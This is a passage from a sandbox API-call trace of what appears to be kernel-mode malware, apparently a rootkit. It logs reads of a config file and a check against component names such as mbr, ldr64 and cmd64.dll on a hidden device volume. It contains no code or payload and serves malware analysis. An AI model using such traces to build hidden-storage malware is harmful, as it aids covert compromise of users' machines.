FastMutex=0xfffffa80027d3898) [0125.650] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.650] KeLeaveCriticalRegion () [0125.650] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.651] KeEnterCriticalRegion () [0125.651] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.651] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.651] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.651] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.651] KeLeaveCriticalRegion () [0125.651] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.651] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.651] KeEnterCriticalRegion () [0125.651] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.651] ExFreePoolWithTag (P=0xfffffa8003bf8b70, Tag=0x0) [0125.651] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.651] KeLeaveCriticalRegion () [0125.651] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.651] ReleaseMutex (hMutex=0xf0) returned 1 [0125.651] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.651] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.651] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.651] KeEnterCriticalRegion () [0125.651] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.651] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.651] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.651] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.651] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.651] IdePortDispatch () returned 0x103 [0125.651] KeWaitForMutexObject () returned 0x0 [0125.651] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.651] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.651] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.651] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.651] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.651] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf08a0 [0125.651] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.651] KeLeaveCriticalRegion () [0125.651] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.651] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.652] KeEnterCriticalRegion () [0125.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.652] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.652] KeLeaveCriticalRegion () [0125.652] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.652] KeEnterCriticalRegion () [0125.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.652] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.652] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.652] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.652] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.652] IdePortDispatch () returned 0x103 [0125.652] KeWaitForMutexObject () returned 0x0 [0125.652] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.652] KeLeaveCriticalRegion () [0125.652] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.652] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.652] KeEnterCriticalRegion () [0125.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.652] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc1000 [0125.652] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.652] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.652] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.652] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.652] IdePortDispatch () returned 0x103 [0125.652] KeWaitForMutexObject () returned 0x0 [0125.652] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.653] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.653] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.653] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.653] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.653] IdePortDispatch () returned 0x103 [0125.653] KeWaitForMutexObject () returned 0x0 [0125.653] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.653] KeLeaveCriticalRegion () [0125.653] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.653] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.653] KeEnterCriticalRegion () [0125.653] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.653] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.653] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.653] KeLeaveCriticalRegion () [0125.653] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.653] KeEnterCriticalRegion () [0125.653] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.653] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.653] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.653] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.653] KeLeaveCriticalRegion () [0125.654] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.654] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.654] KeEnterCriticalRegion () [0125.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.654] ExFreePoolWithTag (P=0xfffffa8003bf08a0, Tag=0x0) [0125.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.654] KeLeaveCriticalRegion () [0125.654] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.654] ReleaseMutex (hMutex=0xf0) returned 1 [0125.654] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.654] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.654] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.654] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.654] KeEnterCriticalRegion () [0125.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.654] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.654] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.654] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.654] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.654] IdePortDispatch () returned 0x103 [0125.654] KeWaitForMutexObject () returned 0x0 [0125.654] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.654] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.654] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.654] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.654] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.654] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.654] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.654] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.654] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.654] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.654] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.654] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.654] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.654] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.654] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.654] KeLeaveCriticalRegion () [0125.654] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.655] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.655] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.655] KeEnterCriticalRegion () [0125.655] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.655] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.655] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.655] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.655] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.655] IdePortDispatch () returned 0x103 [0125.655] KeWaitForMutexObject () returned 0x0 [0125.655] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.655] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.655] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.655] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.655] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.655] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.655] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.655] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.655] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.655] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.655] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.655] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.655] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.655] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.655] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.655] KeLeaveCriticalRegion () [0125.655] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.655] ReleaseMutex (hMutex=0x100) returned 1 [0125.655] Sleep (dwMilliseconds=0x2bf20) [0125.661] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e17fb70, dwHighDateTime=0x1d24fa4)) [0125.662] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.662] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.662] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.662] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.662] KeEnterCriticalRegion () [0125.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.662] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.662] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.662] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.662] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.662] IdePortDispatch () returned 0x103 [0125.662] KeWaitForMutexObject () returned 0x0 [0125.662] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.662] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.662] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.662] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.662] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.662] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9d60 [0125.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.662] KeLeaveCriticalRegion () [0125.662] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.662] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.662] KeEnterCriticalRegion () [0125.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.662] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.662] KeLeaveCriticalRegion () [0125.662] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.662] KeEnterCriticalRegion () [0125.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.662] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.662] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.662] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.662] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.662] IdePortDispatch () returned 0x103 [0125.663] KeWaitForMutexObject () returned 0x0 [0125.663] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.663] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.663] KeLeaveCriticalRegion () [0125.663] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.663] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.663] KeEnterCriticalRegion () [0125.663] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.663] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc4000 [0125.663] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.663] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.663] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.663] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.663] IdePortDispatch () returned 0x103 [0125.663] KeWaitForMutexObject () returned 0x0 [0125.663] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.663] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.663] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.663] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.663] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.663] IdePortDispatch () returned 0x103 [0125.663] KeWaitForMutexObject () returned 0x0 [0125.663] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.663] KeLeaveCriticalRegion () [0125.664] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.664] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.664] KeEnterCriticalRegion () [0125.664] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.664] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.664] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.664] KeLeaveCriticalRegion () [0125.664] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.664] KeEnterCriticalRegion () [0125.664] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.664] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.664] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.664] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.664] KeLeaveCriticalRegion () [0125.664] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.664] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.664] KeEnterCriticalRegion () [0125.664] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.664] ExFreePoolWithTag (P=0xfffffa8003bf9d60, Tag=0x0) [0125.664] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.664] KeLeaveCriticalRegion () [0125.664] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.664] ReleaseMutex (hMutex=0xf0) returned 1 [0125.664] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.664] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.664] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.664] KeEnterCriticalRegion () [0125.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.665] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.665] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.665] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.665] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.665] IdePortDispatch () returned 0x103 [0125.665] KeWaitForMutexObject () returned 0x0 [0125.665] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.665] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.665] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.665] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.665] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.665] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8340 [0125.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.665] KeLeaveCriticalRegion () [0125.665] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.665] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.665] KeEnterCriticalRegion () [0125.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.665] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.665] KeLeaveCriticalRegion () [0125.665] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.665] KeEnterCriticalRegion () [0125.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.665] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.665] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, 